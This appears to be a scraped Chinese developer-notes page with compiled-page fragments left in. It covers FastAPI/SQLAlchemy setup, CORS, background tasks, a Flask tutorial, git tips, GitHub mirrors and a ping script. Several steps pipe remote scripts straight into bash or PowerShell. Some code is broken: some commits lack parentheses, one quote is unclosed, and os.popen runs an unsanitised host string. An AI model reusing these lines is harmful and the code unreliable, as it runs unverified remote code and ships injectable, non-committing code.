+ db_staff.education = education
+ db.commit
+ return db_staff
+
+# 更新 namePinyin
+def update_staff_namePinyin(db:Session, id: int, namePinyin:str):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db_staff.namePinyin = namePinyin
+ db.commit
+ return db_staff
+
+
+# 删除 Staff
+def delete_staff(db: Session, id: int):
+ db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
+ db.delete(db_staff)
+ db.commit()
+ return db_staff
+
+
编辑 main.py
用一种非常简单的方式创建数据库表
models.Base.metadata.create_all(bind=engine)
+
现在使用我们在 sql_app/databases.py
文件中创建的 SessionLocal
类创建一个依赖项。
我们需要每个请求都有一个独立的数据库会话/连接(SessionLocal) ,在所有请求中使用同一个会话,然后在请求完成后关闭它。
然后为下一个请求创建一个新会话。
为此,我们将创建一个带有 yield 的新 dependency,如前面关于 Dependencies 与 yield 的部分所解释的那样。
我们的依赖项将创建一个新的 SQLAlchemy SessionLocal,它将在单个请求中使用,然后在请求完成后关闭它。
# Dependency
+def get_db():
+ db = SessionLocal()
+ try:
+ yield db
+ finally:
+ db.close()
+
我们将
SessionLocal()
的创建和请求的处理放在一个 try 块中。
然后我们在 finally 块关闭它。 这样我们就可以确保在请求之后数据库会话总是关闭的。即使在处理请求时出现异常。 但是您不能从退出代码(在 yield 之后)中引发另一个异常
然后,当在路径操作函数中使用依赖项时,我们使用直接从 SQLAlchemy 导入的 Session 类型声明它。
这样我们就可以在路径操作函数中获得更好的编辑器支持,因为编辑器会知道 db 参数的类型是 Session:
[TODO: 前端 TS 能用, 后端可以用 Prisma-python, 看起来比 SQLAlchemy 好用, 下个项目准备上 Prisma && Prisma-python]
from sqlalchemy import create_engine
+from sqlalchemy.ext.declarative import declarative_base
+from sqlalchemy.orm import sessionmaker
+import os
+
+# sqlite 数据库 url
+SQLALCHEMY_DATABASE_URL = "sqlite:///E:/GithubProject/Vben/VbenBackend/static/data/vben.db"
+# SQLALCHEMY_DATABASE_URL = "postgresql://user:password@postgresserver/db"
+
+# 创建 SQLAlchemy 引擎
+engine = create_engine(
+ SQLALCHEMY_DATABASE_URL,
+ encoding='utf-8',
+ # echo=True表示引擎将用repr()函数记录所有语句及其参数列表到日志
+ echo=True,
+ # 由于SQLAlchemy是多线程,
+ # 指定check_same_thread=False来让建立的对象任意线程都可使用。
+ # 这个参数只在用SQLite数据库时设置
+ connect_args={"check_same_thread": False}
+)
+
+# 在SQLAlchemy中,CRUD都是通过会话(session)进行的,
+# 所以我们必须要先创建会话,每一个SessionLocal实例就是一个数据库session
+# 创建SessionLocal 类
+SessionLocal = sessionmaker(
+ # commit()是指提交事务,将变更保存到数据库文件
+ autocommit=False,
+ # flush()是指发送数据库语句到数据库,但数据库不一定执行写入磁盘;
+ autoflush=False,
+ bind=engine
+)
+
+# 创建一个 Base 类, 后面继承这个类来创建每个数据库的 ORM Model
+Base = declarative_base()
+
+
'''
+Author: 咸鱼型233
+Date: 2022-04-28 16:38:14
+LastEditors: 咸鱼型233
+LastEditTime: 2022-04-30 23:54:14
+FilePath: \\VbenBackend\\app\\model.py
+Description: database model
+Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
+'''
+from xml.etree.ElementTree import Comment
+from sqlalchemy import (
+ Boolean,
+ Column,
+ ForeignKey,
+ Integer,
+ String,
+ FLOAT,
+ BigInteger,
+ Date,
+ DateTime,
+ func,
+)
+from sqlalchemy.orm import relationship
+from .database import Base
+
+# 部门/科室类
+class Department(Base):
+ """部门类
+ """
+ __tablename__ = "department" # 表名
+
+ did = Column(Integer, primary_key=True, nullable=False, comment = "部门id")
+ dname = Column(String(30), nullable=False, comment="部门名称")
+
+ # 关联 <- staff.did
+ staffs = relationship("Staff", back_populates="reDid")
+
+ # 当数据创建或者更新时插入当前时间
+ created_at = Column(DateTime, server_default=func.now(), comment="创建时间")
+ updated_at = Column(DateTime, server_default=func.now(),
+ onupdate=func.now(), comment="更新时间")
+
+ # # 排序相关(新版 SQLAlchemy 已弃用)
+ # __mapper_args__ = {
+ # # 倒序的话可以使用 "order_by": did.desc()
+ # "order_by": did
+ # }
+
+ # 显示类对象
+ def __repr__(self):
+ return f"<Department {self.did}_{self.dname}>"
+
+
+# 员工类
+class Staff(Base):
+ """员工类
+ """
+ __tablename__ = "staff" # 表名
+
+ sid = Column(Integer, primary_key=True, nullable=False, comment="员工id")
+ sname = Column(String(30), nullable=False, comment="员工姓名")
+ did = Column(Integer, ForeignKey("department.did"), comment="员工所属单位id") # 外键
+
+ # 外键 -> department.did
+ reDid = relationship("Department", back_populates="staffs")
+
+ # 当数据创建或者更新时插入当前时间
+ created_at = Column(DateTime, server_default=func.now(), comment="创建时间")
+ updated_at = Column(DateTime, server_default=func.now(),
+ onupdate=func.now(), comment="更新时间")
+
+ # # 排序相关(新版 SQLAlchemy 已弃用)
+ # __mapper_args__ = {
+ # # 倒序的话可以使用 "order_by": did.desc()
+ # "order_by": sid
+ # }
+
+ # 显示类对象
+ def __repr__(self):
+ return f"<Staff {self.sid}_{self.sname}_{self.did}>"
+
+# 用户类
+class User(Base):
+ """用户类
+ """
+ __tablename__ = "user"
+
+ uid = Column(Integer, primary_key=True, nullable=False, autoincrement=True, comment="用户id")
+ account = Column(Integer, nullable=False, comment="账号")
+ password = Column(String(30), nullable=False, comment="密码")
+ uname = Column(String(30), comment="用户名")
+ role = Column(Integer, nullable=False, comment="身份组")
+
新版本的 sqlalchemy 丢弃了 mappter_args 当中设置的方法
应当用 db.query().order_by() 直接在 Query 对象后面显示地调用 order_by 函数
例如:
db.query(models.City).order_by(models.City.province).offset().limit().all()
+
+db.query(models.Data).order_by(models.Data.confirmed)....
+
应用文件拆分
app
应用根目录 databse.py
创建 SQLAlchemymodel.py
Database modelsschema
Pydantic models, 定义请求模型与响应模型 ....py
crud
crud 操作 ....py
routers
各个部分的 APIRouter
....py
cors.py
跨域资源请求配置main.py
主应用程序enums.py
枚举类定义对于每一个 request
请求到来, 在到达应用(业务逻辑处理)之前会先经过一/多层中间件处理后到达应用(视图, 函数等) , 在返回前经过一/多层中间件处理, 返回结果给客户端
可以使用中间件拦截所有的 request
请求或者 response
响应
在 main app
中
@app.middleware('http')
+async def add_process_time_header(request: Request, call_next):
+ """拦截所有 request 请求, 计算其在框架中的处理时间并把结果加载 response header 中
+ :param request: request 请求
+ :param call_next: 将接收request请求做为参数
+ """
+ start_time = time.time()
+ response = await call_next(request)
+ process_time = time.time() - start_time
+ response.headers['X-Process-Time'] = str(process_time) # 添加自定义的以“X-”开头的请求头
+ return response
+
需要注意的是带yield的依赖的退出部分的代码 和 后台任务 会在中间件之后运行
源是协议(http
,https
)、域(myapp.com
,localhost
,localhost.tiangolo.com
)以及端口(80
、443
、8080
)的组合。
因此,这些都是不同的源:
http://localhost
https://localhost
http://localhost:8080
即使它们都在 localhost
中,但是它们使用不同的协议或者端口,所以它们都是不同的「源」。
假设你的浏览器中有一个前端运行在 https://localhost:3100
,并且它的 JavaScript 正在尝试与运行在 http://localhost:8000
的后端通信
然后,浏览器会向后端发送一个 HTTP OPTIONS
请求,如果后端发送适当的 headers 来授权来自这个不同源(https://localhost:3100
)的通信,浏览器将允许前端的 JavaScript 向后端发送请求。
为此,后端必须有一个「允许的源」列表。
在这种情况下,它必须包含 https://localhost:3100
,前端才能正常工作。
也可以使用 "*"
(一个「通配符」)声明这个列表,表示全部都是允许的。
但这仅允许某些类型的通信,不包括所有涉及凭据的内容:像 Cookies 以及那些使用 Bearer 令牌的授权 headers 等。
因此,为了一切都能正常工作,最好显式地指定允许的源。
你可以在 FastAPI 应用中使用 CORSMiddleware
来配置它。
CORSMiddleware
。你也可以指定后端是否允许:
POST
,PUT
)或者使用通配符 "*"
允许所有方法。"*"
允许所有 headers。from fastapi.middleware.cors import CORSMiddleware
+
+origins = [
+ "http://localhost",
+ "https://localhost",
+ "http://localhost:3100",
+ "https://localhost:3100",
+]
+
+app = FastAPI()
+
+# 跨域资源共享配置
+app.add_middleware(
+ CORSMiddleware,
+ allow_origins=origins, # 跨域信任列表
+ allow_credentials=True, # 允许使用整数
+ allow_methods=["*"], # 允许跨域的方法, *(通配符) 表示全部允许
+ allow_headers=["*"], # 允许的请求头, * 表示全部允许
+)
+
默认情况下,这个 CORSMiddleware
实现所使用的默认参数较为保守,所以你需要显式地启用特定的源、方法或者 headers,以便浏览器能够在跨域上下文中使用它们。
支持以下参数:
allow_origins
- 一个允许跨域请求的源列表。例如 ['https://example.org', 'https://www.example.org']
。你可以使用 ['*']
允许任何源。allow_origin_regex
- 一个正则表达式字符串,匹配的源允许跨域请求。例如 'https://.*\\.example\\.org'
。allow_methods
- 一个允许跨域请求的 HTTP 方法列表。默认为 ['GET']
。你可以使用 ['*']
来允许所有标准方法。allow_headers
- 一个允许跨域请求的 HTTP 请求头列表。默认为 []
。你可以使用 ['*']
允许所有的请求头。Accept
、Accept-Language
、Content-Language
以及 Content-Type
请求头总是允许 CORS 请求。allow_credentials
- 指示跨域请求支持 cookies。默认是 False
。另外,允许凭证时 allow_origins
不能设定为 ['*']
,必须指定源。expose_headers
- 指示可以被浏览器访问的响应头。默认为 []
。max_age
- 设定浏览器缓存 CORS 响应的最长时间,单位是秒。默认为 600
。中间件响应两种特定类型的 HTTP 请求……
这是些带有 Origin
和 Access-Control-Request-Method
请求头的 OPTIONS
请求。
在这种情况下,中间件将拦截传入的请求并进行响应,出于提供信息的目的返回一个使用了适当的 CORS headers 的 200
或 400
响应。
任何带有 Origin
请求头的请求。在这种情况下,中间件将像平常一样传递请求,但是在响应中包含适当的 CORS headers。
最典型的使用是: 用户注册之后发邮件
用户能够在前端立刻得到返回, 但是接口中实行的是比较耗时的任务
引入 fastapi.BackgroundTask
后通过在异步函数中调用其中的 add_task
来添加后台任务
########## Background Tasks 后台任务 ##########
+import os
+from fastapi import APIRouter, BackgroundTasks, Depends
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './README.md'))
+
+def bg_task(framework: str):
+ """已续写的形式用 utf-8 编码写入README.md"""
+ with open(file_path, mode="a", encoding="utf-8") as f:
+ f.write(f"\\n### {framework} 框架精讲")
+
+
+@app08.post("/background_tasks")
+async def run_bg_task(framework: str, background_tasks: BackgroundTasks):
+ """
+ :param framework: 被调用的后台任务函数的参数
+ :param background_tasks: FastAPI.BackgroundTasks
+ :return:
+ """
+ background_tasks.add_task(bg_task, framework)
+ return {"message": "任务已在后台运行"}
+
+
+def continue_write_readme(background_tasks: BackgroundTasks, q: Optional[str] = None):
+ if q:
+ background_tasks.add_task(bg_task,
+ "\\n> 整体的介绍 FastAPI, 快速上手开发, 结合 API 交互文档逐个讲解核心模块的使用\\n")
+ return q
+
+
+@app08.post("/dependency/background_tasks")
+async def dependency_run_bg_task(q: str = Depends(continue_write_readme)):
+ """用依赖注入的方式导入后台任务
+ """
+ if q:
+ return {"message": "README.md更新成功"}
+
+
在这个示例中 query 参数传入 email
和 q
接口在处理完 email
生成 message
并返回给用户后会将 message
传给后台任务 weite_log
来记录日志
如果 query 参数中有 q
, 那么它会在 get_query
函数中处理然后创给后台任务 write_log
来记录日志
startup
事件如果你需要在应用开始前执行一个函数, 那么可以使用 startup
事件来定义这样一个函数
from fastapi import FastAPI
+
+app = FastAPI()
+
+items = {}
+
+
+@app.on_event("startup")
+async def startup_event():
+ items["foo"] = {"name": "Fighters"}
+ items["bar"] = {"name": "Tenders"}
+
+
+@app.get("/items/{item_id}")
+async def read_items(item_id: str):
+ return items[item_id]
+
+
在此事例中, 在应用启动前将会通过 startup_event
函数初始化 items
字典
我们可以在应用启动前记录 uvicorn 产生的日志
import logging
+
+@app.on_event("startup")
+async def startup_event():
+ logger = logging.getLogger("uvicorn.access")
+ handler = logging.handlers.RotatingFileHandler("api.log",mode="a",maxBytes = 100*1024, backupCount = 3)
+ handler.setFormatter(logging.Formatter("%(asctime)s - %(levelname)s - %(message)s"))
+ logger.addHandler(handler)
+
这样记录的话, uvicorn 的输出就会记录在 api.log
中
shutdown
事件与 startup
事件类似, 你也可以通过 shutdown
事件定义一个函数以在应用关闭后执行
from fastapi import FastAPI
+
+app = FastAPI()
+
+
+@app.on_event("shutdown")
+def shutdown_event():
+ with open("log.txt", mode="a") as log:
+ log.write("Application shutdown")
+
+
+@app.get("/items/")
+async def read_items():
+ return [{"name": "Foo"}]
+
+
在此示例中, 在应用关闭后将会将 Application shutdown
写入到 log.txt
的末尾
需要注意的是, 在此事例中我们用到了
open
函数, 其不可以用于异步, 因此这里使用了def
而非async def
需要使用 fastapi.testclient.TestClient
以及 pytest
#!/usr/bin/python3
+# -*- coding:utf-8 -*-
+# __author__ = '__Jack__'
+
+from fastapi.testclient import TestClient
+
+from .run import app
+
+########## Testing 测试用例 ##########
+
+client = TestClient(app) # 先pip install pytest
+
+
+def test_run_bg_task():
+ """函数名用“test_”开头是 pytest 的规范。注意不是 async def
+ """
+ response = client.post(url="/chapter08/background_tasks?framework=FastAPI")
+ assert response.status_code == 200
+ assert response.json() == {"message": "任务已在后台运行"}
+
+
+def test_dependency_run_bg_task():
+ response = client.post(url="/chapter08/dependency/background_tasks")
+ assert response.status_code == 200
+ assert response.json() is None
+
+
+def test_dependency_run_bg_task_q():
+ response = client.post(url="/chapter08/dependency/background_tasks?q=1")
+ assert response.status_code == 200
+ assert response.json() == {"message": "README.md更新成功"}
+
+
测试使用 pytest
进行测试
在命令行中 cd
到测试文件所在目录然后 pytest
uvicorn app.mian:app --reload --host 'xxx' --port xxx
+
需要注意的是 --reload
会跟踪当前工作目录, 当前工作目录有文件更新则会自动重载
请使用 --reload-dir 目录
来设置重新加载目录
`,4),Mn=n("p",null,[n("code",null,"--port"),s(" 可以指定端口运行")],-1),Wn=n("p",null,[n("code",null,"--host"),s(" 可以用于指定 host, 当在服务器上跑 uvicorn 时可以指定 "),n("code",null,"–host ‘0.0.0.0’ "),s(" 否则会自动挂载在本地上")],-1),zn=e(`
--reload-dir
是一个整体,没有空格
--reload-dir
需要配合--reload
使用, 具体使用方法如下:uvicorn app.mian:app --reload --reload-dir xxx +
if __name__ == '__main__':
+ uvicorn_run('__main__:app', host=uvicorn_host, port=uvicorn_port, reload=uvicorn_reload)
+
上 HTTPS
uvicorn_run('__main__:app', host=uvicorn_host, port=uvicorn_port, reload=False, ssl_keyfile="./static/ssl/example.key", ssl_certfile="./static/ssl/example.crt")
+
需要注意的是, 使用 Union
类型时, Pydantic 会尝试匹配其中的各种类型, 并且会使用其匹配到的第一个合适的类型;因此在以上示例中, 由于 UUID
类型可以被解析为 int
类型, 因此 pydantic
会将其认定为 int
类型并不再向后排查类型; 因此, 以上示例应当改为:
一般是 cdn.jsdelivr.net
的资源加载不出来, 被 GFW 污染了
找到当前运行 FastAPI 服务的 Python 环境中安装的 FastAPI 依赖包的本地目录下的 openapi/docs.py
, 如:
xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py
在 get_swagger_ui_html
函数中有如下几个参数指向了公网的 js 与 css 和 png 资源文件, 可以将其下载下来之后换上本地目录
首先需要在主程序挂载一下静态资源目录
from fastapi.staticfiles import StaticFiles
+app = FastAPI()
+# 挂载本地资源
+app.mount('/static', StaticFiles(directory=os.path.join('/home/xxx/', 'static')), name='static')
+
然后相应的将 xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py
中的几个参数改为:
swagger_js_url: str = "/static/js/swagger-ui-bundle.js",
+swagger_css_url: str = "/static/css/swagger-ui.css",
+swagger_favicon_url: str = "/static/img/favicon.png",
+
然后重启主程序即可
如此配置好后访问交互式文档时可能还会报两个资源获取不到的问题, 是两个 .map
文件
https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui-bundle.js.map
+https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui.css.map
+
直接使用 wget
命令将其下载到对应位置即可:
一个项目专用一个虚拟环境, 避免与其他地方出现依赖冲突问题
',9),h={href:"https://www.zhihu.com/question/27937300",target:"_blank",rel:"noopener noreferrer"},v=a("p",null,"开发用 venv 测试部署用 docker",-1),g=e(`# 创建虚拟环境
+python -m venv venv
+# 激活虚拟环境
+.\\venv\\Scripts\\activate
+
创建过程需要一些时间
在项目根目录下新建 requirements.txt
来描述本项目需要的 python 第三方库, 后续使用 pip 命令可以依据此文件安装项目依赖
flask
+python-dotenv
+requests
+
python-dotenv
: 用于管理密钥
# pip 命令依据 requirements.txt 安装依赖
+pip install -r requirements.txt
+
使用任何框架创建 Web 应用都需要了解几个核心概念: 路由
, 方法
和 模板化
在使用 Web 应用时,用户通过浏览到不同的统一资源定位器(即 URL)来表明自己要执行的操作或正在查找的信息; 可以直接输入地址(比如 https://adventure-works.com
),也可以选择链接或包含相应 URL 的按钮。 在电子商务网站上,你可能会看到如下 URL:
https://adventure-works.com/
https://adventure-works.com/products/widget
https://adventure-works.com/cart/buy
作为开发人员,我们实际上无需担心 URL 的第一部分或域(本例中的“adventure-works.com
”)。 我们的应用程序将根据域名后面的任何内容来执行操作,从 / 开始。 域名后面的部分称为“路由”。
域名在开发时候不用管, 后面部署项目的时候才会涉及到挂载业务
路由是操作的路径。 与点击移动应用中的按钮类似,路由指示用户想要执行的操作。 我们将在 Web 应用中注册不同的路由,以响应应用程序支持的各种请求。
在我们的应用程序中,我们通过提供一个函数来指示要如何响应特定路由请求。 路由是到函数的映射。 当我们考虑编写一般代码时,此概念相对直观。 当我们想要执行特定操作时,就会调用函数。 我们的用户将执行完全相同的操作! 不过他们将通过访问路由来完成此操作。
可以通过所谓的方法或谓词(这两个术语意思相同,可以互换使用)以多种方式访问路由。 访问路由的方式提供了关于用户请求状态和用户要执行的操作的更多上下文。
创建 Web 应用时,有许多可用方法,但最常见的两种方法(也是我们只关注的两种)是“GET”和“POST”。
GET
通常表示用户正在请求信息,POST
表示用户需要向我们发送信息并接收响应。不管使用什么谓词,信息始终都返回给用户。
使用 GET
和 POST
的常见应用程序流围绕使用表单展开。 假设我们创建了一款应用程序,其中用户想要注册邮件列表:
用户并没有直接指明自己要使用的谓词,谓词由应用程序控制。 一般来说,如果用户通过键入 URL 或选择链接直接导航到 URL,则使用 GET 访问该页面。 当该用户选择表单的按钮时,通常会通过 POST 发送信息。
超文本标记语言 (HTML) 是用于构造浏览器上显示的信息的语言,而级联样式表 (CSS) 则用于管理样式和布局。 在创建应用程序时,大多数 HTML 都是静态的,这意味着该语言不会改变。 然而,为使页面具有动态性,我们需要能够以编程方式将信息放入 HTML 页面。 几乎每个 Web 框架都可通过模板来满足这一需求。
借助模板,你可以编写核心 HTML(或模板)并指示动态信息的占位符。 占位符最常见的语法或许是 {{ }}
。 Flask 的模板引擎 Jinja 会使用这种语法。
<h1>Welcome, {{ name }}</h1>
+
在前面的例子中,我们用到了 h1
(标头)的 HTML,其中包含我们要显示的文本。 {{ name }}
表示要在“欢迎使用”之后显示一个名为 name
的变量。 通过这种语法,我们可以使用现有技能编写 HTML,并根据需要注入动态信息。
我们将以迭代方式创建应用程序,在创建过程中重点关注特定的概念。 首先,我们将为应用程序创建登陆页面,该页面将显示用户要使用的表单。
通常,Flask 应用程序的入口点是名为“app.py
”的文件。 我们将遵循这一约定并创建应用程序的核心。 我们将执行以下步骤:
在项目根目录下创建 app.py
并编辑
from flask import Flask, redirect, url_for, request, render_template, session
+
+app = Flask(__name__)
+
当我们想返回 HTML 时,我们将在一段时间内使用
render_template
。
app
将是我们的核心应用程序。 在下一步中,我们将使用它来注册路由。
应用程序将使用一个路由 - /。 此路由有时称为“默认”或“索引”路由,因为在用户不提供域或服务器名称之外的任何内容时,就会使用该路由。
在 app.py
末尾添加如下代码:
@app.route('/', methods=['GET'])
+def index():
+ return render_template('index.html')
+
通过 @app.route
,我们可以指定要创建的路由。 路径将是 /,这是默认路由。 我们指出这将用于 GET。 如果 / 收到 GET 请求,Flask 将自动调用修饰器下面直接声明的函数,我们的示例中为 index
。 在 index
的正文中,我们表示将向用户返回一个名为“index.html”的 HTML 模板。
在项目根目录下创建 templates
文件夹
新建 /templates/index.html
并填入如下内容
<!DOCTYPE html>
+<html lang="en">
+<head>
+ <meta charset="UTF-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
+ <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"
+ integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
+ <title>Translator</title>
+</head>
+<body>
+ <div class="container">
+ <h1>翻译服务</h1>
+ <div>在如下窗格内键入待翻译语句, 选择语言后点击 翻译 按钮!</div>
+ <div>
+ <form method="POST">
+ <div class="form-group">
+ <textarea name="text" cols="20" rows="10" class="form-control"></textarea>
+ </div>
+ <div class="form-group">
+ <label for="language">语言:</label>
+ <select name="language" class="form-control">
+ <option value="en">英语</option>
+ <option value="it">意大利语</option>
+ <option value="ja">日语</option>
+ <option value="ru">俄语</option>
+ <option value="de">德语</option>
+ </select>
+ </div>
+ <div>
+ <button type="submit" class="btn btn-success">翻译!</button>
+ </div>
+ </form>
+ </div>
+ </div>
+</body>
+</html>
+
创建初始站点后,就该对其进行测试了! 我们将使用 Visual Studio Code 中的集成终端,让这一过程更轻松一些。
在终端中运行以下命令将 Flask 运行时设置为开发,这意味着服务器将在每次更改时自动重载:
# Windows
+set FLASK_ENV=development
+
+# Linux/macOS
+export FLASK_ENV=development
+
运行应用程序:
flask run
+
# 查看版本
+git --version
+# 升级 windows git
+git update-git-for-windows
+
版本 > 2.16.1 则使用: git update-git-for-windows 版本 2.14.2-2.16.1 则使用: git update 版本 <2.14.2 请重新下载安装覆盖
命令执行完毕后弹出 git 安装弹窗
, 根据提示进行安装即可
Debian/Ubuntu
# 更新源
+apt update # 只检查,不更新
+apt upgrade # 更新已安装的软件包
+# 安装最新版本的 git
+apt-get install git
+# For Ubuntu, this PPA provides the latest stable upstream Git version
+add-apt-repository ppa:git-core/ppa
+apt update
+apt install git
+
PPA
表示 个人软件包存档(Personal Package Archive
)。
在这里注意 “个人” 这个词,它暗示了这是开发人员独有的东西,并没有得到分发的正式许可。
软件仓库是一组文件,其中包含各种软件及其版本的信息,以及校验和等其他一些详细信息。每个版本的 Ubuntu 都有自己的四个官方软件仓库:
Main
- Canonical 支持的自由开源软件。Universe
- 社区维护的自由开源软件。Restricted
- 设备的专有驱动程序。Multiverse
- 受版权或法律问题限制的软件。PPA 基本上是一个包含软件信息的网址, 这些信息存储在 /etc/apt
目录中的 sources.list
文件中
如果软件仓库中没有关于某个包的信息, 将会报错
E: Unable to locate package
+
Ubuntu 对系统中的软件进行管理,更重要的是控制你在系统上获得哪个版本的软件
Ubuntu 不会立即提供该新版本的软件。需要一个步骤来检查此新版本的软件是否与系统兼容,从而可以确保系统的稳定性。
这就需要 PPA
Ubuntu 提供了一个名为 Launchpad 的平台,使软件开发人员能够创建自己的软件仓库。终端用户,也就是你,可以将 PPA 仓库添加到 sources.list
文件中,当你更新系统时,你的系统会知道这个新软件的可用性,然后你可以使用标准的 sudo apt install
命令安装它。
# 将 PPA 仓库添加到列表中
+sudo add-apt-repository ppa:dr-akulavich/lighttable
+# 更新可以在当前系统上安装的软件包列表。
+sudo apt-get update
+# 安装软件包。
+sudo apt-get install lighttable-installer
+
git config --global user.email "GitHub绑定邮箱"
+git config --global user.name "GitHub用户名"
+
查看远程仓库地址
git remote -v
+
# stage 当前所有修改
+git add .
+# commit 并加备注
+git commit -m "备注"
+# 推送到 origin master
+git push origin master
+
# 新建并转移到 bugFix 分支
+git checkout -b bugFix
+# 提交
+git commit
+# 返回 master 分支
+git checkout master
+# 拉取主分支更新(并处理冲突)
+git pull
+# 返回 bugFix 分支, 合并 master 分支更新
+git checkout bugFix
+git merge master
+git push
+# 合并 bugFix 分支
+git merge bugFix
+
git log -- [file_path]
+
得到 commit id 之后就可以根据这个 id 查询对应的提交记录了
git fetch --all
+git reset --hard origin/main
+git pull
+
# 遍历仓库中的所有提交, 将指定的提交者的名字和邮箱修改为新的名字和邮箱
+git filter-branch --env-filter '
+if [ "$GIT_COMMITTER_EMAIL" = "origin_email" ]; then
+ export GIT_COMMITTER_EMAIL="new_email
+fi
+if [ "$GIT_AUTHOR_EMAIL" = "origin_email" ]; then
+ export GIT_AUTHOR_EMAIL="new_email"
+fi
+if [ "$GIT_COMMITTER_NAME" = "origin_name" ]; then
+ export GIT_COMMITTER_NAME="new_name"
+fi
+if [ "$GIT_AUTHOR_NAME" = "origin_name" ]; then
+ export GIT_AUTHOR_NAME="new_name"
+fi
+' --tag-name-filter cat -- --branches --tags
+
+
然后 git push -f
如果提示无法强制推送则需要到仓库设置中允许该操作
Mac 或 Linux 用户:
在 Git 项目的根目录,执行以下命令:
curl -fsSL https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh | bash
+
或者下载
https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh
后直接bash code996.sh
Windows 用户:
下载该脚本 https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh
然后将该脚本移至要分析的 Git 项目目录,并执行以下命令:
iwr https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.ps1 -OutFile ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1')); & ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1')); ri ([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'code996.ps1'))
+
# Ubuntu 安装 nodejs 16
+curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
+sudo apt-get install -y nodejs
+# 持久换淘宝源
+npm config set registry https://registry.npm.taobao.org
+# 查看换源是否生效
+npm config get registry
+
+# 安装 yarn
+curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
+sudo apt update
+sudo apt install yarn
+
# clone 仓库
+git clone https://gitee.com/ayusummer233/learnGitBranching.git
+# 安装依赖
+yarn install
+yarn gulp fastBuild # skips tests and linting, faster build
+yarn gulp build # runs tests and lint
+# 使用 screen 创建一个窗口(或者使用 tmux 或者 zellij 均可)
+screen -S gitLearn
+# 使用 Python http.server 部署到本地 9222 端口(或随便换个自己喜欢的端口)
+python -m http.server 9222
+# Ctrl A D 挂起当前 screen
+
remote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead. remote: Please see https://github.blog/2020-12-15-token-authentication-requirements-for-git-operations/ for more information. fatal: Authentication failed for 'https://github.com/Ayusummer/vue-vben-admin.git/'
需要在 github 上创建一个私有的 access token 来用
填写自拟的token名并设置过期时间以及权限后点击页面左下角的 Generate token
创建即可
Warning: Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs.
然后就可以通过 username
和 token
来进行一些权限操作了
git config --system core.longpaths true
+
排除了网络问题后, 如果仓库过大导致拉取时间很长, 可以尝试只 clone 到最近一次提交:
git clone xxxxxxx --depth 1
+
通用的加速方案最好的措施就是用代理
对于不方便使用代理的场景, 如果是 clone 或者下载项目压缩包, releases 的场景, 可以使用镜像
除此以外, watt Toolkit 等工具也可以用
最不济可以手动改 host
https://ghproxy.com/
GitHub
文件 , Releases , archive , gist , raw.githubusercontent.com
文件代理加速下载服务,使用细则参见官方。
https://toolwa.com/github/
https://github.91chi.fun/
https://github.abskoop.workers.dev/
https://pd.zwc365.com/
https://gh.con.sh/
https://www.7ed.net/#/raw-cdn
# 读取源列表每一行的地址, 将每个地址拆分为 [协议, 域名, 路径], 然后对每个域名 ping 4次, 按照响应时间递增排序, 输出到目的文件
+import os
+import re
+
+
+def ping_linux(host: str, count: int = 4) -> float:
+ """Linux 下的 ping 命令
+ :param host: 域名
+ :param count: ping 的次数
+ :return: 返回平均响应时长
+ """
+ output = os.popen(f'ping {host} -c {count}').read()
+ try:
+ min, avg, max, mdev = re.findall(r'rtt min/avg/max/mdev = (\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+) ms', output)[0]
+ print(f'{host} {avg}ms')
+ # 全丢包的情况下就找不到了, 此时返回一个很大的数
+ except IndexError:
+ print(f'{host} 超时')
+ return 999999
+ return float(avg)
+
+
+def split_url_to_hosts(source_path: str) -> list:
+ """将源列表每个条目拆分成 [协议, 域名, 路径] 的格式并返回所有条目拆分完后的嵌套列表
+ :param source_path: 源文件
+ :return: 拆分后的嵌套列表
+ """
+ with open(source_path, 'r') as f:
+ hosts = f.read().splitlines()
+ for i in range(len(hosts)):
+ hosts[i] = hosts[i].strip()
+ # 根据 :// 进行拆分, 拆分结果作为继续拆分 协议, 域名, 路径 的依据
+ main_split = hosts[i].split('://')
+
+ # 第一片为 协议://
+ first_fragment = main_split[0] + '://'
+ # 第二片为 域名
+ second_fragment = main_split[1].split('/')[0]
+ # 第三片为 路径
+ third_fragment = '/' + '/'.join(main_split[1].split('/')[1:])
+
+ # 将拆分后的三片组合成一个列表
+ hosts[i] = [first_fragment, second_fragment, third_fragment]
+ # 返回拆分后的嵌套列表
+ return hosts
+
+
+def sort_write_hosts(hosts: list, target_path: str) -> None:
+ """根据对源文件拆分后的嵌套列表中的域名进行 ping 操作, 并将结果按响应时间升序输出到目的文件
+ :param hosts: 源文件拆分后的嵌套列表
+ :param target_path: 目标输出文件路径
+ :return: None
+ """
+ # 遍历 hosts 中的每个域名, 并对其进行 ping 操作, 将平均响应时间插入到 hosts 尾部
+ for i in range(len(hosts)):
+ hosts[i].append(ping_linux(hosts[i][1]))
+ # 按照响应时间升序排序
+ hosts.sort(key=lambda x: x[3])
+ # 将排序后的 hosts 写入到目的文件
